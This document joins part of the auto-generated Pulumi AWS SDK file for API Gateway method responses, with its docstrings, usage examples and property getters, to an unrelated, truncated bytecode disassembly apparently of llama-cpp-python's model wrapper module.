expression without the `$` prefix.) :param pulumi.Input[str] rest_api: The string identifier of the associated REST API. :param pulumi.Input[str] status_code: The method response's status code. """ ... @overload def __init__( __self__, resource_name: str, args: MethodResponseArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ Provides an HTTP Method Response for an API Gateway Resource. More information about API Gateway method responses can be found in the [Amazon API Gateway Developer Guide](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-method-settings-method-response.html). ```python import pulumi import pulumi_aws as aws my_demo_api = aws.apigateway.RestApi("myDemoAPI", description="This is my API for demonstration purposes") my_demo_resource = aws.apigateway.Resource("myDemoResource", rest_api=my_demo_api.id, parent_id=my_demo_api.root_resource_id, path_part="mydemoresource") my_demo_method = aws.apigateway.Method("myDemoMethod", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method="GET", authorization="NONE") my_demo_integration = aws.apigateway.Integration("myDemoIntegration", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, type="MOCK") response200 = aws.apigateway.MethodResponse("response200", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, status_code="200") ``` ```python import pulumi import json import pulumi_aws as aws my_demo_api = aws.apigateway.RestApi("myDemoAPI", description="This is my API for demonstration purposes") my_demo_resource = aws.apigateway.Resource("myDemoResource", rest_api=my_demo_api.id, parent_id=my_demo_api.root_resource_id, path_part="mydemoresource") my_demo_method = aws.apigateway.Method("myDemoMethod", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method="GET", authorization="NONE") my_demo_integration = aws.apigateway.Integration("myDemoIntegration", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, type="MOCK") my_demo_response_model = aws.apigateway.Model("myDemoResponseModel", rest_api=my_demo_api.id, description="API response for MyDemoMethod", content_type="application/json", schema=json.dumps({ "$schema": "http://json-schema.org/draft-04/schema#", "title": "MyDemoResponse", "type": "object", "properties": { "Message": { "type": "string", }, }, })) response200 = aws.apigateway.MethodResponse("response200", rest_api=my_demo_api.id, resource_id=my_demo_resource.id, http_method=my_demo_method.http_method, status_code="200", response_models={ "application-json": "MyDemoResponseModel", }, response_parameters={ "method.response.header.Content-Type": False, "method-response-header.X-My-Demo-Header": False, }) ``` Using `pulumi import`, import `aws_api_gateway_method_response` using `REST-API-ID/RESOURCE-ID/HTTP-METHOD/STATUS-CODE`. For example: ```sh $ pulumi import aws:apigateway/methodResponse:MethodResponse example 12345abcde/67890fghij/GET/200 ``` :param str resource_name: The name of the resource. :param MethodResponseArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( MethodResponseArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, http_method: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, response_models: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, response_parameters: Optional[ pulumi.Input[Mapping[str, pulumi.Input[bool]]] ] = None, rest_api: Optional[pulumi.Input[str]] = None, status_code: Optional[pulumi.Input[str]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = MethodResponseArgs.__new__(MethodResponseArgs) if http_method is None and not opts.urn: raise TypeError("Missing required property 'http_method'") __props__.__dict__["http_method"] = http_method if resource_id is None and not opts.urn: raise TypeError("Missing required property 'resource_id'") __props__.__dict__["resource_id"] = resource_id __props__.__dict__["response_models"] = response_models __props__.__dict__["response_parameters"] = response_parameters if rest_api is None and not opts.urn: raise TypeError("Missing required property 'rest_api'") __props__.__dict__["rest_api"] = rest_api if status_code is None and not opts.urn: raise TypeError("Missing required property 'status_code'") __props__.__dict__["status_code"] = status_code super(MethodResponse, __self__).__init__( "aws:apigateway/methodResponse:MethodResponse", resource_name, __props__, opts, ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, http_method: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, response_models: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, response_parameters: Optional[ pulumi.Input[Mapping[str, pulumi.Input[bool]]] ] = None, rest_api: Optional[pulumi.Input[str]] = None, status_code: Optional[pulumi.Input[str]] = None, ) -> "MethodResponse": """ Get an existing MethodResponse resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] http_method: The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). :param pulumi.Input[str] resource_id: The Resource identifier for the method resource. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] response_models: A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. :param pulumi.Input[Mapping[str, pulumi.Input[bool]]] response_parameters: A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) :param pulumi.Input[str] rest_api: The string identifier of the associated REST API. :param pulumi.Input[str] status_code: The method response's status code. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _MethodResponseState.__new__(_MethodResponseState) __props__.__dict__["http_method"] = http_method __props__.__dict__["resource_id"] = resource_id __props__.__dict__["response_models"] = response_models __props__.__dict__["response_parameters"] = response_parameters __props__.__dict__["rest_api"] = rest_api __props__.__dict__["status_code"] = status_code return MethodResponse(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="httpMethod") def http_method(self) -> pulumi.Output[str]: """ The HTTP verb of the method resource (`GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `OPTIONS`, `ANY`). """ return pulumi.get(self, "http_method") @property @pulumi.getter(name="resourceId") def resource_id(self) -> pulumi.Output[str]: """ The Resource identifier for the method resource. """ return pulumi.get(self, "resource_id") @property @pulumi.getter(name="responseModels") def response_models(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A map specifying the model resources used for the response's content type. Response models are represented as a key/value map, with a content type as the key and a Model name as the value. """ return pulumi.get(self, "response_models") @property @pulumi.getter(name="responseParameters") def response_parameters(self) -> pulumi.Output[Optional[Mapping[str, bool]]]: """ A map specifying required or optional response parameters that API Gateway can send back to the caller. A key defines a method response header name and the associated value is a boolean flag indicating whether the method response parameter is required. The method response header names must match the pattern of `method.response.header.{name}`, where `name` is a valid and unique header name. The response parameter names defined here are available in the integration response to be mapped from an integration response header expressed in `integration.response.header.{name}`, a static value enclosed within a pair of single quotes (e.g., '`application/json'`), or a JSON expression from the back-end response payload in the form of `integration.response.body.{JSON-expression}`, where `JSON-expression` is a valid JSON expression without the `$` prefix.) """ return pulumi.get(self, "response_parameters") @property @pulumi.getter(name="restApi") def rest_api(self) -> pulumi.Output[str]: """ The string identifier of the associated REST API. """ return pulumi.get(self, "rest_api") @property @pulumi.getter(name="statusCode") def status_code(self) -> pulumi.Output[str]: """ The method response's status code. """ return pulumi.get(self, "status_code")
data/pulumi_aws-6.22.2/pulumi_aws/apigateway/method_response.py
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LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME ctypes STORE_NAME ctypes LOAD_CONST 0 LOAD_CONST ('List', 'Optional', 'Sequence') IMPORT_NAME typing IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence POP_TOP LOAD_CONST 0 LOAD_CONST ('dataclass', 'field') IMPORT_NAME dataclasses IMPORT_FROM dataclass STORE_NAME dataclass IMPORT_FROM field STORE_NAME field POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy.typing IMPORT_FROM typing STORE_NAME npt POP_TOP LOAD_CONST 1 LOAD_CONST ('*',) IMPORT_NAME llama_types IMPORT_STAR LOAD_CONST 1 LOAD_CONST ('LlamaGrammar',) IMPORT_NAME llama_grammar IMPORT_FROM LlamaGrammar STORE_NAME LlamaGrammar POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME llama_cpp.llama_cpp IMPORT_FROM llama_cpp STORE_NAME llama_cpp POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaModel at 0x7fab703f7c90, file "f.py", line 22> LOAD_CONST '_LlamaModel' MAKE_FUNCTION LOAD_CONST '_LlamaModel' CALL_FUNCTION STORE_NAME _LlamaModel LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaContext at 0x7fab640c2660, file "f.py", line 229> LOAD_CONST '_LlamaContext' MAKE_FUNCTION LOAD_CONST '_LlamaContext' CALL_FUNCTION STORE_NAME _LlamaContext LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaBatch at 0x7fab640c2d20, file "f.py", line 470> LOAD_CONST '_LlamaBatch' MAKE_FUNCTION LOAD_CONST '_LlamaBatch' CALL_FUNCTION STORE_NAME _LlamaBatch LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaTokenDataArray at 0x7fab8027e030, file "f.py", line 528> LOAD_CONST '_LlamaTokenDataArray' MAKE_FUNCTION LOAD_CONST '_LlamaTokenDataArray' CALL_FUNCTION STORE_NAME _LlamaTokenDataArray LOAD_CONST '_LlamaModel' LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST 'list[int]' LOAD_CONST ('model', 'text', 'add_bos', 'special', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _tokenize at 0x7fab8027e0c0, file "f.py", line 557> LOAD_CONST '_tokenize' MAKE_FUNCTION STORE_NAME _tokenize LOAD_CONST '_LlamaModel' LOAD_CONST 'int' LOAD_CONST 'str' LOAD_CONST ('model', 'token', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _token_to_piece at 0x7fab8027e1e0, file "f.py", line 587> LOAD_CONST '_token_to_piece' MAKE_FUNCTION STORE_NAME _token_to_piece LOAD_CONST '_LlamaModel' LOAD_CONST 'List[int]' LOAD_CONST 'str' LOAD_CONST ('model', 'tokens', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _detokenize_spm at 0x7fab8027e270, file "f.py", line 601> LOAD_CONST '_detokenize_spm' MAKE_FUNCTION STORE_NAME _detokenize_spm LOAD_CONST '_LlamaModel' LOAD_CONST 'List[int]' LOAD_CONST 'str' LOAD_CONST ('model', 'tokens', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _detokenize_bpe at 0x7fab8027e300, file "f.py", line 614> LOAD_CONST '_detokenize_bpe' MAKE_FUNCTION STORE_NAME _detokenize_bpe LOAD_CONST '_LlamaModel' LOAD_CONST 'bool' LOAD_CONST ('model', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _should_add_bos at 0x7fab8027e390, file "f.py", line 622> LOAD_CONST '_should_add_bos' MAKE_FUNCTION STORE_NAME _should_add_bos LOAD_NAME dataclass LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaSamplingParams at 0x7fab8027e420, file "f.py", line 631> LOAD_CONST '_LlamaSamplingParams' MAKE_FUNCTION LOAD_CONST '_LlamaSamplingParams' CALL_FUNCTION CALL_FUNCTION STORE_NAME _LlamaSamplingParams LOAD_NAME dataclass LOAD_BUILD_CLASS LOAD_CONST <code object _LlamaSamplingContext at 0x7fab8027e8a0, file "f.py", line 658> LOAD_CONST '_LlamaSamplingContext' MAKE_FUNCTION LOAD_CONST '_LlamaSamplingContext' CALL_FUNCTION CALL_FUNCTION STORE_NAME _LlamaSamplingContext LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaModel' STORE_NAME __qualname__ LOAD_CONST "Intermediate Python wrapper for a llama.cpp llama_model.\n NOTE: For stability it's recommended you use the Llama class instead." STORE_NAME __doc__ LOAD_CONST None STORE_NAME _llama_free_model LOAD_CONST True LOAD_CONST ('verbose',) BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST 'llama_cpp.llama_model_params' LOAD_CONST 'bool' LOAD_CONST ('path_model', 'params', 'verbose') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab702a65d0, file "f.py", line 28> LOAD_CONST '_LlamaModel.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __del__ at 0x7fab702a6c90, file "f.py", line 50> LOAD_CONST '_LlamaModel.__del__' MAKE_FUNCTION STORE_NAME __del__ LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object vocab_type at 0x7fab702a6db0, file "f.py", line 55> LOAD_CONST '_LlamaModel.vocab_type' MAKE_FUNCTION STORE_NAME vocab_type LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_vocab at 0x7fab702a6270, file "f.py", line 59> LOAD_CONST '_LlamaModel.n_vocab' MAKE_FUNCTION STORE_NAME n_vocab LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_ctx_train at 0x7fab702a6420, file "f.py", line 63> LOAD_CONST '_LlamaModel.n_ctx_train' MAKE_FUNCTION STORE_NAME n_ctx_train LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_embd at 0x7fab702a6930, file "f.py", line 67> LOAD_CONST '_LlamaModel.n_embd' MAKE_FUNCTION STORE_NAME n_embd LOAD_CONST 'float' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rope_freq_scale_train at 0x7fab702a6780, file "f.py", line 71> LOAD_CONST '_LlamaModel.rope_freq_scale_train' MAKE_FUNCTION STORE_NAME rope_freq_scale_train LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object desc at 0x7fab702a6150, file "f.py", line 75> LOAD_CONST '_LlamaModel.desc' MAKE_FUNCTION STORE_NAME desc LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object size at 0x7fab702a61e0, file "f.py", line 81> LOAD_CONST '_LlamaModel.size' MAKE_FUNCTION STORE_NAME size LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_params at 0x7fab702a6390, file "f.py", line 85> LOAD_CONST '_LlamaModel.n_params' MAKE_FUNCTION STORE_NAME n_params LOAD_CONST 'str' LOAD_CONST 'ctypes.c_void_p' LOAD_CONST ('name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_tensor at 0x7fab702a6e40, file "f.py", line 89> LOAD_CONST '_LlamaModel.get_tensor' MAKE_FUNCTION STORE_NAME get_tensor LOAD_CONST 'str' LOAD_CONST 'float' LOAD_CONST 'Optional[str]' LOAD_CONST 'int' LOAD_CONST ('lora_path', 'scale', 'path_base_model', 'n_threads') BUILD_CONST_KEY_MAP LOAD_CONST <code object apply_lora_from_file at 0x7fab702a6660, file "f.py", line 93> LOAD_CONST '_LlamaModel.apply_lora_from_file' MAKE_FUNCTION STORE_NAME apply_lora_from_file LOAD_CONST 'int' LOAD_CONST 'str' LOAD_CONST ('token', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object token_get_text at 0x7fab702a69c0, file "f.py", line 113> LOAD_CONST '_LlamaModel.token_get_text' MAKE_FUNCTION STORE_NAME token_get_text LOAD_CONST 'int' LOAD_CONST 'float' LOAD_CONST ('token', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object token_get_score at 0x7fab702a66f0, file "f.py", line 117> LOAD_CONST '_LlamaModel.token_get_score' MAKE_FUNCTION STORE_NAME token_get_score LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('token', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object token_get_type at 0x7fab702a6d20, file "f.py", line 121> LOAD_CONST '_LlamaModel.token_get_type' MAKE_FUNCTION STORE_NAME token_get_type LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_bos at 0x7fab702a6b70, file "f.py", line 125> LOAD_CONST '_LlamaModel.token_bos' MAKE_FUNCTION STORE_NAME token_bos LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_eos at 0x7fab702a6ae0, file "f.py", line 129> LOAD_CONST '_LlamaModel.token_eos' MAKE_FUNCTION STORE_NAME token_eos LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_nl at 0x7fab702a60c0, file "f.py", line 133> LOAD_CONST '_LlamaModel.token_nl' MAKE_FUNCTION STORE_NAME token_nl LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_prefix at 0x7fab702a6ed0, file "f.py", line 137> LOAD_CONST '_LlamaModel.token_prefix' MAKE_FUNCTION STORE_NAME token_prefix LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_middle at 0x7fab702a6540, file "f.py", line 141> LOAD_CONST '_LlamaModel.token_middle' MAKE_FUNCTION STORE_NAME token_middle LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_suffix at 0x7fab702a6f60, file "f.py", line 145> LOAD_CONST '_LlamaModel.token_suffix' MAKE_FUNCTION STORE_NAME token_suffix LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object token_eot at 0x7fab702a6810, file "f.py", line 149> LOAD_CONST '_LlamaModel.token_eot' MAKE_FUNCTION STORE_NAME token_eot LOAD_CONST 'bytes' LOAD_CONST 'bool' LOAD_CONST 'bool' LOAD_CONST ('text', 'add_bos', 'special') BUILD_CONST_KEY_MAP LOAD_CONST <code object tokenize at 0x7fab702a68a0, file "f.py", line 153> LOAD_CONST '_LlamaModel.tokenize' MAKE_FUNCTION STORE_NAME tokenize LOAD_CONST 'int' LOAD_CONST 'bytes' LOAD_CONST ('token', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object token_to_piece at 0x7fab702a6c00, file "f.py", line 172> LOAD_CONST '_LlamaModel.token_to_piece' MAKE_FUNCTION STORE_NAME token_to_piece LOAD_CONST 'List[int]' LOAD_CONST 'bytes' LOAD_CONST ('tokens', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object detokenize at 0x7fab702a6a50, file "f.py", line 178> LOAD_CONST '_LlamaModel.detokenize' MAKE_FUNCTION STORE_NAME detokenize LOAD_CONST 'Dict[str, str]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata at 0x7fab703f7270, file "f.py", line 193> LOAD_CONST '_LlamaModel.metadata' MAKE_FUNCTION STORE_NAME metadata LOAD_NAME staticmethod LOAD_CONST <code object default_params at 0x7fab703f7030, file "f.py", line 223> LOAD_CONST '_LlamaModel.default_params' MAKE_FUNCTION CALL_FUNCTION STORE_NAME default_params LOAD_CONST None RETURN_VALUE LOAD_FAST path_model LOAD_FAST self STORE_ATTR path_model LOAD_FAST params LOAD_FAST self STORE_ATTR params LOAD_FAST verbose LOAD_FAST self STORE_ATTR verbose LOAD_GLOBAL llama_cpp LOAD_ATTR _lib LOAD_ATTR llama_free_model LOAD_FAST self STORE_ATTR _llama_free_model LOAD_CONST None LOAD_FAST self STORE_ATTR model LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST path_model CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST 'Model path does not exist: ' LOAD_FAST path_model FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_load_model_from_file LOAD_FAST self LOAD_ATTR path_model LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD LOAD_FAST self LOAD_ATTR params CALL_METHOD LOAD_FAST self STORE_ATTR model LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _llama_free_model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _llama_free_model LOAD_FAST self LOAD_ATTR model CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR model LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_vocab_type LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_n_vocab LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_n_ctx_train LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_n_embd LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_rope_freq_scale_train LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL ctypes LOAD_METHOD create_string_buffer LOAD_CONST 1024 CALL_METHOD STORE_FAST buf LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_desc LOAD_FAST self LOAD_ATTR model LOAD_FAST buf LOAD_CONST 1024 CALL_METHOD POP_TOP LOAD_FAST buf LOAD_ATTR value LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_size LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_n_params LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_get_model_tensor LOAD_FAST self LOAD_ATTR model LOAD_FAST name LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_apply_lora_from_file LOAD_FAST self LOAD_ATTR model LOAD_FAST lora_path LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD LOAD_FAST scale LOAD_FAST path_base_model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST path_base_model LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD JUMP_FORWARD to 58 LOAD_GLOBAL llama_cpp LOAD_METHOD c_char_p LOAD_CONST 0 CALL_METHOD LOAD_FAST n_threads CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_get_text LOAD_FAST self LOAD_ATTR model LOAD_FAST token CALL_METHOD LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_get_score LOAD_FAST self LOAD_ATTR model LOAD_FAST token CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_get_type LOAD_FAST self LOAD_ATTR model LOAD_FAST token CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_bos LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_eos LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_nl LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_prefix LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_middle LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_suffix LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_eot LOAD_FAST self LOAD_ATTR model CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_METHOD n_ctx_train CALL_METHOD STORE_FAST n_ctx LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token LOAD_FAST n_ctx BINARY_MULTIPLY CALL_FUNCTION STORE_FAST tokens LOAD_GLOBAL llama_cpp LOAD_METHOD llama_tokenize LOAD_FAST self LOAD_ATTR model LOAD_FAST text LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION LOAD_FAST tokens LOAD_FAST n_ctx LOAD_FAST add_bos LOAD_FAST special CALL_METHOD STORE_FAST n_tokens LOAD_FAST n_tokens LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL abs LOAD_FAST n_tokens CALL_FUNCTION STORE_FAST n_tokens LOAD_GLOBAL llama_cpp LOAD_ATTR llama_token LOAD_FAST n_tokens BINARY_MULTIPLY CALL_FUNCTION STORE_FAST tokens LOAD_GLOBAL llama_cpp LOAD_METHOD llama_tokenize LOAD_FAST self LOAD_ATTR model LOAD_FAST text LOAD_GLOBAL len LOAD_FAST text CALL_FUNCTION LOAD_FAST tokens LOAD_FAST n_tokens 